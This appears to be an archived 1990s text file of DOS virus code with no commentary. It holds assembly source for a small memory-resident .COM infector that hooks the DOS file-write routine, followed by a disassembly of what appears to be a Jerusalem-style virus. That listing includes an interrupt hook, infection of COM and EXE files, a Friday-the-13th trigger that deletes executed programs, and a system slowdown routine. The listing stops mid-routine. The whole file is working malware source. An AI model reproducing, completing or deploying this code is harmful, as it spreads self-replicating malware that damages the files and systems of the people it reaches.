home *** CD-ROM | disk | FTP | other *** search
Text File | 1996-05-26 | 127.6 KB | 3,214 lines |
- .model tiny
- .code
-
- org 100h
-
- Start:
- call NextLine
- First3:
- int 20h
- int 3
- NextLine:
- pop bx
- push ax
- xor di,di
- mov es,di
- mov es,es:[2Bh*4+2]
- mov cx,1000h
- call SearchZero
- jc ReturnControl
- xchg ax,si
- inc si
- SearchTable:
- dec si
- db 26h
- lodsw
- cmp ax,8B2Eh
- jne SearchTable
- db 26h
- lodsb
- cmp al,75h
- je ReturnControl
- cmp al,9Fh
- jne SearchTable
- mov si,es:[si]
- mov cx,LastByte-Start
- lea ax,[di+Handle-Start]
- org $-1
- xchg ax,es:[si+80h]
- sub ax,di
- sub ax,cx
- mov [bx+OldWrite-Start-2],ax
- mov word ptr [bx+NewStart+1-Start-3],di
- lea si,[bx-3]
- rep movsb
- ReturnControl:
- pop ax
- push ss
- pop es
- mov di,100h
- lea si,[bx+First3-Start-3]
- push di
- movsw
- movsb
- ret
- SearchZero:
- xor ax,ax
- inc di
- push cx
- push di
- mov cx,[LastByte-Start-1]/2+1
- repe scasw
- pop di
- pop cx
- je FoundPlace
- loop SearchZero
- stc
- FoundPlace:
- ret
- Handle:
- push bp
- call NextHandle
- NextHandle:
- pop bp
- push es
- push ax
- push bx
- push cx
- push si
- push di
- test ch,ch
- je Do
- mov ax,1220h
- int 2Fh
- mov bl,es:[di]
- mov ax,1216h
- int 2Fh
- cmp es:[di+29h],'MO'
- jne Do
- cmp word ptr es:[di+15h],0
- jne Do
- push ds
- pop es
- mov di,dx
- mov ax,[di]
- mov [bp+First3-NextHandle],ax
- mov al,[di+2]
- mov [bp+First3+2-NextHandle],al
- call SearchZero
- jc Do
- push di
- NewStart:
- mov si,0
- mov cx,[LastByte-Start-1]/2
- cli
- rep
- db 36h
- movsw
- sti
- mov di,dx
- mov al,0E9h
- stosb
- pop ax
- sub ax,di
- dec ax
- dec ax
- stosw
- Do:
- pop di
- pop si
- pop cx
- pop bx
- pop ax
- pop es
- pop bp
- OldWrite:
- jmp start
-
- LastByte label byte
-
- end Start
-
- done
-
- 0000:0000 E99200 JMP X0095
- 0000:0003 7355 JAE X005A
- 0000:0005 4D DEC BP
- 0000:0006 7344 JAE X004C
- 0000:0008 6F73 JG X007D
- 0000:000A 0001 ADD [BX+DI],AL
- 0000:000C BD1700 MOV BP,0017H
- 0000:000F 0000 ADD [BX+SI],AL
- 0000:0011 06 PUSH ES
- 0000:0012 00A5FE00 ADD [DI+Y00FEH],AH
- 0000:0016 F016 LOCK PUSH SS
- 0000:0018 17 POP SS
- 0000:0019 7702 JA X001D
- 0000:001B BF053D MOV DI,03D05H
- 0000:001E 0CFB OR AL,0FBH
- 0000:0020 7D00 JGE X0022
- 0000:0022 0000 X0022: ADD [BX+SI],AL
- 0000:0024 0000 ADD [BX+SI],AL
- 0000:0026 0000 ADD [BX+SI],AL
- 0000:0028 0000 ADD [BX+SI],AL
- 0000:002A 0000 ADD [BX+SI],AL
- 0000:002C 0000 ADD [BX+SI],AL
- 0000:002E E8062A CALL X2A37
- 0000:0031 B10D MOV CL,0DH
- 0000:0033 800000 ADD BYTE PTR [BX+SI],00H
- 0000:0036 008000B1 ADD [BX+SI+Y0B100H],AL
- 0000:003A 0D5C00 OR AX,005CH
- 0000:003D B10D MOV CL,0DH
- 0000:003F 6C00 JL X0041
- 0000:0041 B10D X0041: MOV CL,0DH
- 0000:0043 0004 ADD [SI],AL
- 0000:0045 5F POP DI
- 0000:0046 0F POP CS
- 0000:0047 B400 MOV AH,00H
- 0000:0049 C1 RET ; INTRASEGMENT
- 0000:004A 0D00F0 X004A: OR AX,0F000H
- 0000:004D 06 PUSH ES
- 0000:004E 004D5A ADD [DI+05AH],CL
- 0000:0051 2000 AND [BX+SI],AL
- 0000:0053 1000 ADC [BX+SI],AL
- 0000:0055 1900 SBB [BX+SI],AX
- 0000:0057 0800 OR [BX+SI],AL
- 0000:0059 7500 JNZ X005B
- 0000:005B 7500 X005B: JNZ X005D
- 0000:005D 6901 X005D: JNS X0060
- 0000:005F 1007 ADC [BX],AL
- 0000:0061 8419 TEST BL,[BX+DI]
- 0000:0063 C500 LDS AX,[BX+SI]
- 0000:0065 6901 JNS X0068
- 0000:0067 1C00 SBB AL,00H
- 0000:0069 0000 ADD [BX+SI],AL
- 0000:006B 4C X006B: DEC SP
- 0000:006C B000 MOV AL,00H
- 0000:006E CD21 INT 021H
- 0000:0070 050020 ADD AX,02000H
- 0000:0073 0037 ADD [BX],DH
-
- "JV.MOC" PAGE 0002
-
- 0000:0075 121C ADC BL,[SI]
- 0000:0077 0100 ADD [BX+SI],AX
- 0000:0079 0210 ADD DL,[BX+SI]
- 0000:007B 0010 ADD [BX+SI],DL
- 0000:007D 17 X007D: POP SS
- 0000:007E 0000 ADD [BX+SI],AL
- 0000:0080 53 PUSH BX
- 0000:0081 61E8 JNO X006B
- 0000:0083 38434F CMP [BP+DI+04FH],AL
- 0000:0086 4D DEC BP
- 0000:0087 4D DEC BP
- 0000:0088 41 INC CX
- 0000:0089 4E DEC SI
- 0000:008A 44 INC SP
- 0000:008B 2E43 INC BX
- 0000:008D 4F DEC DI
- 0000:008E 4D DEC BP
- 0000:008F 0100 ADD [BX+SI],AX
- 0000:0091 0000 ADD [BX+SI],AL
- 0000:0093 0000 ADD [BX+SI],AL
- 0000:0095 FC X0095: CLD
- 0000:0096 B4E0 MOV AH,0E0H
- 0000:0098 CD21 INT 021H
- 0000:009A 80FCE0 CMP AH,0E0H
- 0000:009D 7316 JAE X00B5
- 0000:009F 80FC03 CMP AH,03H
- 0000:00A2 7211 JB X00B5
- 0000:00A4 B4DD MOV AH,0DDH
- 0000:00A6 BF0001 MOV DI,0100H
- 0000:00A9 BE1007 MOV SI,0710H
- 0000:00AC 03F7 ADD SI,DI
- 0000:00AE 2E8B8D1100 MOV CX,CS:[DI+Y0011H]
- 0000:00B3 CD21 INT 021H
- 0000:00B5 8CC8 X00B5: MOV AX,CS
- 0000:00B7 051000 ADD AX,0010H
- 0000:00BA 8ED0 MOV SS,AX
- 0000:00BC BC0007 MOV SP,0700H
- 0000:00BF 50 PUSH AX
- 0000:00C0 B8C500 MOV AX,00C5H
- 0000:00C3 50 PUSH AX
- 0000:00C4 CB RET ; INTERSEGMENT
- 0000:00C5 FC X00C5: CLD
- 0000:00C6 06 PUSH ES
- 0000:00C7 2E8C063100 MOV CS:[Y0031H],ES
- 0000:00CC 2E8C063900 MOV CS:[Y0039H],ES
- 0000:00D1 2E8C063D00 MOV CS:[Y003DH],ES
- 0000:00D6 2E8C064100 MOV CS:[Y0041H],ES
- 0000:00DB 8CC0 MOV AX,ES
- 0000:00DD 051000 ADD AX,0010H
- 0000:00E0 2E01064900 ADD CS:[Y0049H],AX
- 0000:00E5 2E01064500 ADD CS:[Y0045H],AX
- 0000:00EA B4E0 MOV AH,0E0H
- 0000:00EC CD21 INT 021H
- 0000:00EE 80FCE0 CMP AH,0E0H
- 0000:00F1 7313 JAE X0106
- 0000:00F3 80FC03 CMP AH,03H
-
- "JV.MOC" PAGE 0003
-
- 0000:00F6 07 POP ES
- 0000:00F7 2E8E164500 MOV SS,CS:[Y0045H]
- 0000:00FC 2E8B264300 MOV SP,CS:[Y0043H]
- 0000:0101 2EFF2E4700 JMP CS:[Y0047H]
- 0000:0106 33C0 X0106: XOR AX,AX
- 0000:0108 8EC0 MOV ES,AX
- 0000:010A 26A1FC03 MOV AX,ES:Y03FCH
- 0000:010E 2EA34B00 MOV CS:Y004BH,AX
- 0000:0112 26A0FE03 MOV AL,ES:Y03FEH
- 0000:0116 2EA24D00 MOV CS:Y004DH,AL
- 0000:011A 26C706FC03F3A5 MOV WORD PTR ES:[Y03FCH],0A5F3H
- 0000:0121 26C606FE03CB MOV BYTE PTR ES:[Y03FEH],0CBH
- 0000:0127 58 POP AX
- 0000:0128 051000 ADD AX,0010H
- 0000:012B 8EC0 MOV ES,AX
- 0000:012D 0E PUSH CS
- 0000:012E 1F POP DS
- 0000:012F B91007 MOV CX,0710H
- 0000:0132 D1E9 SHR CX,1
- 0000:0134 33F6 XOR SI,SI
- 0000:0136 8BFE MOV DI,SI
- 0000:0138 06 PUSH ES
- 0000:0139 B84201 MOV AX,0142H
- 0000:013C 50 PUSH AX
- 0000:013D EAFC030000 JMP X0000_03FC
- 0000:0142 8CC8 MOV AX,CS
- 0000:0144 8ED0 MOV SS,AX
- 0000:0146 BC0007 MOV SP,0700H
- 0000:0149 33C0 XOR AX,AX
- 0000:014B 8ED8 MOV DS,AX
- 0000:014D 2EA14B00 MOV AX,CS:Y004BH
- 0000:0151 A3FC03 MOV Y03FCH,AX
- 0000:0154 2EA04D00 MOV AL,CS:Y004DH
- 0000:0158 A2FE03 MOV Y03FEH,AL
- 0000:015B 8BDC MOV BX,SP
- 0000:015D B104 MOV CL,04H
- 0000:015F D3EB SHR BX,CL
- 0000:0161 83C310 ADD BX,0010H
- 0000:0164 2E891E3300 MOV CS:[Y0033H],BX
- 0000:0169 B44A MOV AH,04AH
- 0000:016B 2E8E063100 MOV ES,CS:[Y0031H]
- 0000:0170 CD21 INT 021H
- 0000:0172 B82135 MOV AX,03521H
- 0000:0175 CD21 INT 021H
- 0000:0177 2E891E1700 MOV CS:[Y0017H],BX
- 0000:017C 2E8C061900 MOV CS:[Y0019H],ES
- 0000:0181 0E PUSH CS
- 0000:0182 1F POP DS
- 0000:0183 BA5B02 MOV DX,025BH
- 0000:0186 B82125 MOV AX,02521H
- 0000:0189 CD21 INT 021H
- 0000:018B 8E063100 MOV ES,[Y0031H]
- 0000:018F 268E062C00 MOV ES,ES:[Y002CH]
- 0000:0194 33FF XOR DI,DI
- 0000:0196 B9FF7F MOV CX,07FFFH
- 0000:0199 32C0 XOR AL,AL
-
- "JV.MOC" PAGE 0004
-
- 0000:019B F2AE X019B: REPNE SCASB
- 0000:019D 263805 CMP ES:[DI],AL
- 0000:01A0 E0F9 LOOPNZ X019B
- 0000:01A2 8BD7 MOV DX,DI
- 0000:01A4 83C203 ADD DX,0003H
- 0000:01A7 B8004B MOV AX,04B00H
- 0000:01AA 06 PUSH ES
- 0000:01AB 1F POP DS
- 0000:01AC 0E PUSH CS
- 0000:01AD 07 POP ES
- 0000:01AE BB3500 MOV BX,0035H
- 0000:01B1 1E PUSH DS
- 0000:01B2 06 PUSH ES
- 0000:01B3 50 PUSH AX
- 0000:01B4 53 PUSH BX
- 0000:01B5 51 PUSH CX
- 0000:01B6 52 PUSH DX
- 0000:01B7 B42A MOV AH,02AH
- 0000:01B9 CD21 INT 021H
- 0000:01BB 2EC6060E0000 MOV BYTE PTR CS:[Y000EH],00H
- 0000:01C1 81F9C307 CMP CX,07C3H
- 0000:01C5 7430 JZ X01F7
- 0000:01C7 3C05 CMP AL,05H
- 0000:01C9 750D JNZ X01D8
- 0000:01CB 80FA0D CMP DL,0DH
- 0000:01CE 7508 JNZ X01D8
- 0000:01D0 2EFE060E00 INC BYTE PTR CS:[Y000EH]
- 0000:01D5 EB20 JMP X01F7
- 0000:01D7 90 NOP
- 0000:01D8 B80835 X01D8: MOV AX,03508H
- 0000:01DB CD21 INT 021H
- 0000:01DD 2E891E1300 MOV CS:[Y0013H],BX
- 0000:01E2 2E8C061500 MOV CS:[Y0015H],ES
- 0000:01E7 0E PUSH CS
- 0000:01E8 1F POP DS
- 0000:01E9 C7061F00907E MOV WORD PTR [Y001FH],07E90H
- 0000:01EF B80825 MOV AX,02508H
- 0000:01F2 BA1E02 MOV DX,021EH
- 0000:01F5 CD21 INT 021H
- 0000:01F7 5A X01F7: POP DX
- 0000:01F8 59 POP CX
- 0000:01F9 5B POP BX
- 0000:01FA 58 POP AX
- 0000:01FB 07 POP ES
- 0000:01FC 1F POP DS
- 0000:01FD 9C PUSHF
- 0000:01FE 2EFF1E1700 CALL CS:[Y0017H]
- 0000:0203 1E PUSH DS
- 0000:0204 07 POP ES
- 0000:0205 B449 MOV AH,049H
- 0000:0207 CD21 INT 021H
- 0000:0209 B44D MOV AH,04DH
- 0000:020B CD21 INT 021H
- 0000:020D B431 MOV AH,031H
- 0000:020F BA0006 MOV DX,0600H
- 0000:0212 B104 MOV CL,04H
-
- "JV.MOC" PAGE 0005
-
- 0000:0214 D3EA SHR DX,CL
- 0000:0216 83C210 ADD DX,0010H
- 0000:0219 CD21 INT 021H
- 0000:021B 32C0 XOR AL,AL
- 0000:021D CF IRET
- 0000:021E 2E833E1F0002 CMP WORD PTR CS:[Y001FH],0002H
- 0000:0224 7517 JNZ X023D
- 0000:0226 50 PUSH AX
- 0000:0227 53 PUSH BX
- 0000:0228 51 PUSH CX
- 0000:0229 52 PUSH DX
- 0000:022A 55 PUSH BP
- 0000:022B B80206 MOV AX,0602H
- 0000:022E B787 MOV BH,087H
- 0000:0230 B90505 MOV CX,0505H
- 0000:0233 BA1010 MOV DX,01010H
- 0000:0236 CD10 INT 010H
- 0000:0238 5D POP BP
- 0000:0239 5A POP DX
- 0000:023A 59 POP CX
- 0000:023B 5B POP BX
- 0000:023C 58 POP AX
- 0000:023D 2EFF0E1F00 X023D: DEC WORD PTR CS:[Y001FH]
- 0000:0242 7512 JNZ X0256
- 0000:0244 2EC7061F000100 MOV WORD PTR CS:[Y001FH],0001H
- 0000:024B 50 PUSH AX
- 0000:024C 51 PUSH CX
- 0000:024D 56 PUSH SI
- 0000:024E B90140 MOV CX,04001H
- 0000:0251 F3AC REPE LODSB
- 0000:0253 5E POP SI
- 0000:0254 59 POP CX
- 0000:0255 58 POP AX
- 0000:0256 2EFF2E1300 X0256: JMP CS:[Y0013H]
- 0000:025B 9C X025B: PUSHF
- 0000:025C 80FCE0 CMP AH,0E0H
- 0000:025F 7505 JNZ X0266
- 0000:0261 B80003 MOV AX,0300H
- 0000:0264 9D POPF
- 0000:0265 CF IRET
- 0000:0266 80FCDD X0266: CMP AH,0DDH
- 0000:0269 7413 JZ X027E
- 0000:026B 80FCDE CMP AH,0DEH
- 0000:026E 7428 JZ X0298
- 0000:0270 3D004B CMP AX,04B00H
- 0000:0273 7503 JNZ X0278
- 0000:0275 E9B400 JMP X032C
- 0000:0278 9D X0278: POPF
- 0000:0279 2EFF2E1700 JMP CS:[Y0017H]
- 0000:027E 58 X027E: POP AX
- 0000:027F 58 POP AX
- 0000:0280 B80001 MOV AX,0100H
- 0000:0283 2EA30A00 MOV CS:Y000AH,AX
- 0000:0287 58 POP AX
- 0000:0288 2EA30C00 MOV CS:Y000CH,AX
- 0000:028C F3A4 REPE MOVSB
-
- "JV.MOC" PAGE 0006
-
- 0000:028E 9D POPF
- 0000:028F 2EA10F00 MOV AX,CS:Y000FH
- 0000:0293 2EFF2E0A00 JMP CS:[Y000AH]
- 0000:0298 83C406 X0298: ADD SP,0006H
- 0000:029B 9D POPF
- 0000:029C 8CC8 MOV AX,CS
- 0000:029E 8ED0 MOV SS,AX
- 0000:02A0 BC1007 MOV SP,0710H
- 0000:02A3 06 PUSH ES
- 0000:02A4 06 PUSH ES
- 0000:02A5 33FF XOR DI,DI
- 0000:02A7 0E PUSH CS
- 0000:02A8 07 POP ES
- 0000:02A9 B91000 MOV CX,0010H
- 0000:02AC 8BF3 MOV SI,BX
- 0000:02AE BF2100 MOV DI,0021H
- 0000:02B1 F3A4 REPE MOVSB
- 0000:02B3 8CD8 MOV AX,DS
- 0000:02B5 8EC0 MOV ES,AX
- 0000:02B7 2EF7267A00 MUL WORD PTR CS:[Y007AH]
- 0000:02BC 2E03062B00 ADD AX,CS:[Y002BH]
- 0000:02C1 83D200 ADC DX,0000H
- 0000:02C4 2EF7367A00 DIV WORD PTR CS:[Y007AH]
- 0000:02C9 8ED8 MOV DS,AX
- 0000:02CB 8BF2 MOV SI,DX
- 0000:02CD 8BFA MOV DI,DX
- 0000:02CF 8CC5 MOV BP,ES
- 0000:02D1 2E8B1E2F00 MOV BX,CS:[Y002FH]
- 0000:02D6 0BDB OR BX,BX
- 0000:02D8 7413 JZ X02ED
- 0000:02DA B90080 X02DA: MOV CX,08000H
- 0000:02DD F3A5 REPE MOVSW
- 0000:02DF 050010 ADD AX,01000H
- 0000:02E2 81C50010 ADD BP,01000H
- 0000:02E6 8ED8 MOV DS,AX
- 0000:02E8 8EC5 MOV ES,BP
- 0000:02EA 4B DEC BX
- 0000:02EB 75ED JNZ X02DA
- 0000:02ED 2E8B0E2D00 X02ED: MOV CX,CS:[Y002DH]
- 0000:02F2 F3A4 REPE MOVSB
- 0000:02F4 58 POP AX
- 0000:02F5 50 PUSH AX
- 0000:02F6 051000 ADD AX,0010H
- 0000:02F9 2E01062900 ADD CS:[Y0029H],AX
- 0000:02FE 2E01062500 ADD CS:[Y0025H],AX
- 0000:0303 2EA12100 MOV AX,CS:Y0021H
- 0000:0307 1F POP DS
- 0000:0308 07 POP ES
- 0000:0309 2E8E162900 MOV SS,CS:[Y0029H]
- 0000:030E 2E8B262700 MOV SP,CS:[Y0027H]
- 0000:0313 2EFF2E2300 JMP CS:[Y0023H]
- 0000:0318 33C9 X0318: XOR CX,CX
- 0000:031A B80143 MOV AX,04301H
- 0000:031D CD21 INT 021H
- 0000:031F B441 MOV AH,041H
- 0000:0321 CD21 INT 021H
-
- "JV.MOC" PAGE 0007
-
- 0000:0323 B8004B MOV AX,04B00H
- 0000:0326 9D POPF
- 0000:0327 2EFF2E1700 JMP CS:[Y0017H]
- 0000:032C 2E803E0E0001 X032C: CMP BYTE PTR CS:[Y000EH],01H
- 0000:0332 74E4 JZ X0318
- 0000:0334 2EC7067000FFFF MOV WORD PTR CS:[Y0070H],0FFFFH
- 0000:033B 2EC7068F000000 MOV WORD PTR CS:[Y008FH],0000H
- 0000:0342 2E89168000 MOV CS:[Y0080H],DX
- 0000:0347 2E8C1E8200 MOV CS:[Y0082H],DS
- 0000:034C 50 PUSH AX
- 0000:034D 53 PUSH BX
- 0000:034E 51 PUSH CX
- 0000:034F 52 PUSH DX
- 0000:0350 56 PUSH SI
- 0000:0351 57 PUSH DI
- 0000:0352 1E PUSH DS
- 0000:0353 06 PUSH ES
- 0000:0354 FC CLD
- 0000:0355 8BFA MOV DI,DX
- 0000:0357 32D2 XOR DL,DL
- 0000:0359 807D013A CMP BYTE PTR [DI+01H],03AH
- 0000:035D 7505 JNZ X0364
- 0000:035F 8A15 MOV DL,[DI]
- 0000:0361 80E21F AND DL,01FH
- 0000:0364 B436 X0364: MOV AH,036H
- 0000:0366 CD21 INT 021H
- 0000:0368 3DFFFF CMP AX,0FFFFH
- 0000:036B 7503 JNZ X0370
- 0000:036D E97702 X036D: JMP X05E7
- 0000:0370 F7E3 X0370: MUL BX
- 0000:0372 F7E1 MUL CX
- 0000:0374 0BD2 OR DX,DX
- 0000:0376 7505 JNZ X037D
- 0000:0378 3D1007 CMP AX,0710H
- 0000:037B 72F0 JB X036D
- 0000:037D 2E8B168000 X037D: MOV DX,CS:[Y0080H]
- 0000:0382 1E PUSH DS
- 0000:0383 07 POP ES
- 0000:0384 32C0 XOR AL,AL
- 0000:0386 B94100 MOV CX,0041H
- 0000:0389 F2AE REPNE SCASB
- 0000:038B 2E8B368000 MOV SI,CS:[Y0080H]
- 0000:0390 8A04 X0390: MOV AL,[SI]
- 0000:0392 0AC0 OR AL,AL
- 0000:0394 740E JZ X03A4
- 0000:0396 3C61 CMP AL,061H
- 0000:0398 7207 JB X03A1
- 0000:039A 3C7A CMP AL,07AH
- 0000:039C 7703 JA X03A1
- 0000:039E 802C20 SUB BYTE PTR [SI],020H
- 0000:03A1 46 X03A1: INC SI
- 0000:03A2 EBEC JMP X0390
- 0000:03A4 B90B00 X03A4: MOV CX,000BH
- 0000:03A7 2BF1 SUB SI,CX
- 0000:03A9 BF8400 MOV DI,0084H
- 0000:03AC 0E PUSH CS
-
- "JV.MOC" PAGE 0008
-
- 0000:03AD 07 POP ES
- 0000:03AE B90B00 MOV CX,000BH
- 0000:03B1 F3A6 REPE CMPSB
- 0000:03B3 7503 JNZ X03B8
- 0000:03B5 E92F02 JMP X05E7
- 0000:03B8 B80043 X03B8: MOV AX,04300H
- 0000:03BB CD21 INT 021H
- 0000:03BD 7205 JB X03C4
- 0000:03BF 2E890E7200 MOV CS:[Y0072H],CX
- 0000:03C4 7225 X03C4: JB X03EB
- 0000:03C6 32C0 XOR AL,AL
- 0000:03C8 2EA24E00 MOV CS:Y004EH,AL
- 0000:03CC 1E PUSH DS
- 0000:03CD 07 POP ES
- 0000:03CE 8BFA MOV DI,DX
- 0000:03D0 B94100 MOV CX,0041H
- 0000:03D3 F2AE REPNE SCASB
- 0000:03D5 807DFE4D CMP BYTE PTR [DI-02H],04DH
- 0000:03D9 740B JZ X03E6
- 0000:03DB 807DFE6D CMP BYTE PTR [DI-02H],06DH
- 0000:03DF 7405 JZ X03E6
- 0000:03E1 2EFE064E00 INC BYTE PTR CS:[Y004EH]
- 0000:03E6 B8003D X03E6: MOV AX,03D00H
- 0000:03E9 CD21 INT 021H
- 0000:03EB 725A X03EB: JB X0447
- 0000:03ED 2EA37000 MOV CS:Y0070H,AX
- 0000:03F1 8BD8 MOV BX,AX
- 0000:03F3 B80242 MOV AX,04202H
- 0000:03F6 B9FFFF MOV CX,0FFFFH
- 0000:03F9 BAFBFF MOV DX,0FFFBH
- 0000:03FC CD21 X03FC: INT 021H
- 0000:03FE 72EB JB X03EB
- 0000:0400 050500 ADD AX,0005H
- 0000:0403 2EA31100 MOV CS:Y0011H,AX
- 0000:0407 B90500 MOV CX,0005H
- 0000:040A BA6B00 MOV DX,006BH
- 0000:040D 8CC8 MOV AX,CS
- 0000:040F 8ED8 MOV DS,AX
- 0000:0411 8EC0 MOV ES,AX
- 0000:0413 B43F MOV AH,03FH
- 0000:0415 CD21 INT 021H
- 0000:0417 8BFA MOV DI,DX
- 0000:0419 BE0500 MOV SI,0005H
- 0000:041C F3A6 REPE CMPSB
- 0000:041E 7507 JNZ X0427
- 0000:0420 B43E MOV AH,03EH
- 0000:0422 CD21 INT 021H
- 0000:0424 E9C001 JMP X05E7
- 0000:0427 B82435 X0427: MOV AX,03524H
- 0000:042A CD21 INT 021H
- 0000:042C 891E1B00 MOV [Y001BH],BX
- 0000:0430 8C061D00 MOV [Y001DH],ES
- 0000:0434 BA1B02 MOV DX,021BH
- 0000:0437 B82425 MOV AX,02524H
- 0000:043A CD21 INT 021H
- 0000:043C C5168000 LDS DX,[Y0080H]
-
- "JV.MOC" PAGE 0009
-
- 0000:0440 33C9 XOR CX,CX
- 0000:0442 B80143 MOV AX,04301H
- 0000:0445 CD21 INT 021H
- 0000:0447 723B X0447: JB X0484
- 0000:0449 2E8B1E7000 MOV BX,CS:[Y0070H]
- 0000:044E B43E MOV AH,03EH
- 0000:0450 CD21 INT 021H
- 0000:0452 2EC7067000FFFF MOV WORD PTR CS:[Y0070H],0FFFFH
- 0000:0459 B8023D MOV AX,03D02H
- 0000:045C CD21 INT 021H
- 0000:045E 7224 JB X0484
- 0000:0460 2EA37000 MOV CS:Y0070H,AX
- 0000:0464 8CC8 MOV AX,CS
- 0000:0466 8ED8 MOV DS,AX
- 0000:0468 8EC0 MOV ES,AX
- 0000:046A 8B1E7000 MOV BX,[Y0070H]
- 0000:046E B80057 MOV AX,05700H
- 0000:0471 CD21 INT 021H
- 0000:0473 89167400 MOV [Y0074H],DX
- 0000:0477 890E7600 MOV [Y0076H],CX
- 0000:047B B80042 MOV AX,04200H
- 0000:047E 33C9 XOR CX,CX
- 0000:0480 8BD1 MOV DX,CX
- 0000:0482 CD21 INT 021H
- 0000:0484 723D X0484: JB X04C3
- 0000:0486 803E4E0000 CMP BYTE PTR [Y004EH],00H
- 0000:048B 7403 JZ X0490
- 0000:048D EB57 JMP X04E6
- 0000:048F 90 NOP
- 0000:0490 BB0010 X0490: MOV BX,01000H
- 0000:0493 B448 MOV AH,048H
- 0000:0495 CD21 INT 021H
- 0000:0497 730B JAE X04A4
- 0000:0499 B43E MOV AH,03EH
- 0000:049B 8B1E7000 MOV BX,[Y0070H]
- 0000:049F CD21 INT 021H
- 0000:04A1 E94301 JMP X05E7
- 0000:04A4 FF068F00 X04A4: INC WORD PTR [Y008FH]
- 0000:04A8 8EC0 MOV ES,AX
- 0000:04AA 33F6 XOR SI,SI
- 0000:04AC 8BFE MOV DI,SI
- 0000:04AE B91007 MOV CX,0710H
- 0000:04B1 F3A4 REPE MOVSB
- 0000:04B3 8BD7 MOV DX,DI
- 0000:04B5 8B0E1100 MOV CX,[Y0011H]
- 0000:04B9 8B1E7000 MOV BX,[Y0070H]
- 0000:04BD 06 PUSH ES
- 0000:04BE 1F POP DS
- 0000:04BF B43F MOV AH,03FH
- 0000:04C1 CD21 INT 021H
- 0000:04C3 721C X04C3: JB X04E1
- 0000:04C5 03F9 ADD DI,CX
- 0000:04C7 33C9 XOR CX,CX
- 0000:04C9 8BD1 MOV DX,CX
- 0000:04CB B80042 MOV AX,04200H
- 0000:04CE CD21 INT 021H
-
- "JV.MOC" PAGE 0010
-
- 0000:04D0 BE0500 MOV SI,0005H
- 0000:04D3 B90500 MOV CX,0005H
- 0000:04D6 F32EA4 REPE MOVS ES:BYTE PTR (DI),CS:BYTE PT
- R (SI)
- 0000:04D9 8BCF MOV CX,DI
- 0000:04DB 33D2 XOR DX,DX
- 0000:04DD B440 MOV AH,040H
- 0000:04DF CD21 INT 021H
- 0000:04E1 720D X04E1: JB X04F0
- 0000:04E3 E9BC00 JMP X05A2
- 0000:04E6 B91C00 X04E6: MOV CX,001CH
- 0000:04E9 BA4F00 MOV DX,004FH
- 0000:04EC B43F MOV AH,03FH
- 0000:04EE CD21 INT 021H
- 0000:04F0 724A X04F0: JB X053C
- 0000:04F2 C70661008419 MOV WORD PTR [Y0061H],01984H
- 0000:04F8 A15D00 MOV AX,Y005DH
- 0000:04FB A34500 MOV Y0045H,AX
- 0000:04FE A15F00 MOV AX,Y005FH
- 0000:0501 A34300 MOV Y0043H,AX
- 0000:0504 A16300 MOV AX,Y0063H
- 0000:0507 A34700 MOV Y0047H,AX
- 0000:050A A16500 MOV AX,Y0065H
- 0000:050D A34900 MOV Y0049H,AX
- 0000:0510 A15300 MOV AX,Y0053H
- 0000:0513 833E510000 CMP WORD PTR [Y0051H],0000H
- 0000:0518 7401 JZ X051B
- 0000:051A 48 DEC AX
- 0000:051B F7267800 X051B: MUL WORD PTR [Y0078H]
- 0000:051F 03065100 ADD AX,[Y0051H]
- 0000:0523 83D200 ADC DX,0000H
- 0000:0526 050F00 ADD AX,000FH
- 0000:0529 83D200 ADC DX,0000H
- 0000:052C 25F0FF AND AX,0FFF0H
- 0000:052F A37C00 MOV Y007CH,AX
- 0000:0532 89167E00 MOV [Y007EH],DX
- 0000:0536 051007 ADD AX,0710H
- 0000:0539 83D200 ADC DX,0000H
- 0000:053C 723A X053C: JB X0578
- 0000:053E F7367800 DIV WORD PTR [Y0078H]
- 0000:0542 0BD2 OR DX,DX
- 0000:0544 7401 JZ X0547
- 0000:0546 40 INC AX
- 0000:0547 A35300 X0547: MOV Y0053H,AX
- 0000:054A 89165100 MOV [Y0051H],DX
- 0000:054E A17C00 MOV AX,Y007CH
- 0000:0551 8B167E00 MOV DX,[Y007EH]
- 0000:0555 F7367A00 DIV WORD PTR [Y007AH]
- 0000:0559 2B065700 SUB AX,[Y0057H]
- 0000:055D A36500 MOV Y0065H,AX
- 0000:0560 C7066300C500 MOV WORD PTR [Y0063H],00C5H
- 0000:0566 A35D00 MOV Y005DH,AX
- 0000:0569 C7065F001007 MOV WORD PTR [Y005FH],0710H
- 0000:056F 33C9 XOR CX,CX
- 0000:0571 8BD1 MOV DX,CX
- 0000:0573 B80042 MOV AX,04200H
- 0000:0576 CD21 INT 021H
-
- "JV.MOC" PAGE 0011
-
- 0000:0578 720A X0578: JB X0584
- 0000:057A B91C00 MOV CX,001CH
- 0000:057D BA4F00 MOV DX,004FH
- 0000:0580 B440 MOV AH,040H
- 0000:0582 CD21 INT 021H
- 0000:0584 7211 X0584: JB X0597
- 0000:0586 3BC1 CMP AX,CX
- 0000:0588 7518 JNZ X05A2
- 0000:058A 8B167C00 MOV DX,[Y007CH]
- 0000:058E 8B0E7E00 MOV CX,[Y007EH]
- 0000:0592 B80042 MOV AX,04200H
- 0000:0595 CD21 INT 021H
- 0000:0597 7209 X0597: JB X05A2
- 0000:0599 33D2 XOR DX,DX
- 0000:059B B91007 MOV CX,0710H
- 0000:059E B440 MOV AH,040H
- 0000:05A0 CD21 INT 021H
- 0000:05A2 2E833E8F0000 X05A2: CMP WORD PTR CS:[Y008FH],0000H
- 0000:05A8 7404 JZ X05AE
- 0000:05AA B449 MOV AH,049H
- 0000:05AC CD21 INT 021H
- 0000:05AE 2E833E7000FF X05AE: CMP WORD PTR CS:[Y0070H],0FFFFH
- 0000:05B4 7431 JZ X05E7
- 0000:05B6 2E8B1E7000 MOV BX,CS:[Y0070H]
- 0000:05BB 2E8B167400 MOV DX,CS:[Y0074H]
- 0000:05C0 2E8B0E7600 MOV CX,CS:[Y0076H]
- 0000:05C5 B80157 MOV AX,05701H
- 0000:05C8 CD21 INT 021H
- 0000:05CA B43E MOV AH,03EH
- 0000:05CC CD21 INT 021H
- 0000:05CE 2EC5168000 LDS DX,CS:[Y0080H]
- 0000:05D3 2E8B0E7200 MOV CX,CS:[Y0072H]
- 0000:05D8 B80143 MOV AX,04301H
- 0000:05DB CD21 INT 021H
- 0000:05DD 2EC5161B00 LDS DX,CS:[Y001BH]
- 0000:05E2 B82425 MOV AX,02524H
- 0000:05E5 CD21 INT 021H
- 0000:05E7 07 X05E7: POP ES
- 0000:05E8 1F POP DS
- 0000:05E9 5F POP DI
- 0000:05EA 5E POP SI
- 0000:05EB 5A POP DX
